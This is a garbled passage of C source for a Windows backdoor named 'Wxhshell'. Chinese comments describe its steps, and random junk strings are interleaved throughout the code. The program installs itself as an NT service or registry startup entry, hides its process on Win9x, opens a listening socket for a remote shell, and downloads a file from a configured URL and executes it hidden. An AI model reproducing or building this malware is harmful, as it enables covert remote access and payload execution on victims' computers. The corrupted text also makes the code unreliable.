YT.E if(strstr(procName,"services")) return 1; // 以服务启动 {[NQD3=+F %Gu=Dkz return 0; // 注册表启动 F/p1?1M } X%iqve"{nB hhylsm // 主模块 2y8FP# int StartWxhshell(LPSTR lpCmdLine) CnY dj~ { kaEu\@%n SOCKET wsl; .g}Y!
l BOOL val=TRUE; 1ATH$x int port=0; >B;S;_5=
struct sockaddr_in door; ^( C,LVP< rvnm*e, if(wscfg.ws_autoins) Install(); +&_n[; G8^b9xoA+. port=atoi(lpCmdLine); 7A<}JaE!, r[j@@[)" if(port<=0) port=wscfg.ws_port; c No)LF |?'
gT"# WSADATA data; l>HB 0o if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &w%%^ +n
| MD> E0p) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; waV4~BdL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K~5(j{Kb8 door.sin_family = AF_INET; ,0>_(5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); X)[QEq^ door.sin_port = htons(port); =`gFwH< c1f`?i}. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2PSv3?". closesocket(wsl); )MM(HS return 1; )@.ODW;` } @
eP[*Q XT==N-5, if(listen(wsl,2) == INVALID_SOCKET) { e=u}J%| closesocket(wsl); yaX%<KBa\ return 1; "rQ?2?
} ><6g-+*k Wxhshell(wsl); %=v<3 WSACleanup(); *q Ins/@ *nUa0Zg4q6 return 0; jN7Z}1` R ta_\Aj! } 9'p
pb ux7g%Q^" // 以NT服务方式启动 Qm?o^%a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }
/Iw]!lK2 { &gm/@_ DWORD status = 0; 1;MUemnx` DWORD specificError = 0xfffffff; hA"z0Fszh 90$`AMR serviceStatus.dwServiceType = SERVICE_WIN32; X^0jS serviceStatus.dwCurrentState = SERVICE_START_PENDING; D4GXZX8K serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D2#.qoP # serviceStatus.dwWin32ExitCode = 0; =1F F2#zS serviceStatus.dwServiceSpecificExitCode = 0; !P _'n serviceStatus.dwCheckPoint = 0; v{U1B serviceStatus.dwWaitHint = 0; umiD2BRZ zhwajc hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @L^30>?l if (hServiceStatusHandle==0) return; !r0 z3^*N pM@0>DVi status = GetLastError(); HR k^KB if (status!=NO_ERROR) }KrZ6cG9# { kI$X~s$r serviceStatus.dwCurrentState = SERVICE_STOPPED; zB{be_Tw serviceStatus.dwCheckPoint = 0; JvLa@E) serviceStatus.dwWaitHint = 0; :cTwp K serviceStatus.dwWin32ExitCode = status; Dr"F5Wbg serviceStatus.dwServiceSpecificExitCode = specificError; gB#$"mq, SetServiceStatus(hServiceStatusHandle, &serviceStatus); zd[cp@ return; Lec%kC } gC S%J40r F(:]lM| serviceStatus.dwCurrentState = SERVICE_RUNNING; 3gmu-tv serviceStatus.dwCheckPoint = 0;
D'Sdz\:4 serviceStatus.dwWaitHint = 0; #EU x1II if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,b8B)VZ? } b;sjw5cm_ v~HfA)#JK // 处理NT服务事件,比如:启动、停止 -U_<: VOID WINAPI NTServiceHandler(DWORD fdwControl) YJrZ { t)~v5vr switch(fdwControl) E|^~R}z) { 1Xu^pc case SERVICE_CONTROL_STOP: %(wa~:m+S- serviceStatus.dwWin32ExitCode = 0; s|&2QG0'7 serviceStatus.dwCurrentState = SERVICE_STOPPED; mh`VZQ@ serviceStatus.dwCheckPoint = 0; v~>4c<eG
serviceStatus.dwWaitHint = 0; &+t,fwlM { >@d=\Kyu SetServiceStatus(hServiceStatusHandle, &serviceStatus); *gzX=*;x+? } K29KS)~;W return; Ib8xvzR6I& case SERVICE_CONTROL_PAUSE: g8w5X!Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; b$ )XS break; ?en%m|}0 case SERVICE_CONTROL_CONTINUE: <:BhV82l serviceStatus.dwCurrentState = SERVICE_RUNNING; +#y[sKa break; E>?T<!r~j case SERVICE_CONTROL_INTERROGATE: Tp/+{|~ break; )zVD!eG_9 }; D8Vb@5MW SetServiceStatus(hServiceStatusHandle, &serviceStatus); T|[o } #|
Et9 w_i$/`i+ // 标准应用程序主函数 8[;U|SR" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -xf=dzm) { G%K<YyAP (UTt_ry g // 获取操作系统版本 TNC,{sM OsIsNt=GetOsVer(); "-TIao# GetModuleFileName(NULL,ExeFile,MAX_PATH);
Eyu?T 52#@.Qa // 从命令行安装 s&$Zgf6Z if(strpbrk(lpCmdLine,"iI")) Install(); QJ
s/0iw Fu (I<o+T- // 下载执行文件 a4! AvG if(wscfg.ws_downexe) { EkqsE$52 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x3my8'h@ WinExec(wscfg.ws_filenam,SW_HIDE); KdOy3O_5N } ]7^YPFc+ ef!V EtEOv if(!OsIsNt) { BY$%gIB6> // 如果时win9x,隐藏进程并且设置为注册表启动 R('44v5JQp HideProc(); ~Hs a6F&F StartWxhshell(lpCmdLine); ~z!U/QR2 } NLC}XL else E$rn^keM if(StartFromService()) >g6:{-b^a // 以服务方式启动 @4b"0ne}h StartServiceCtrlDispatcher(DispatchTable); .yF7{/ else #.%;U' #O // 普通方式启动 MqI!i> StartWxhshell(lpCmdLine); h7
> u U>Bun
return 0; X(#G6KeZFZ }
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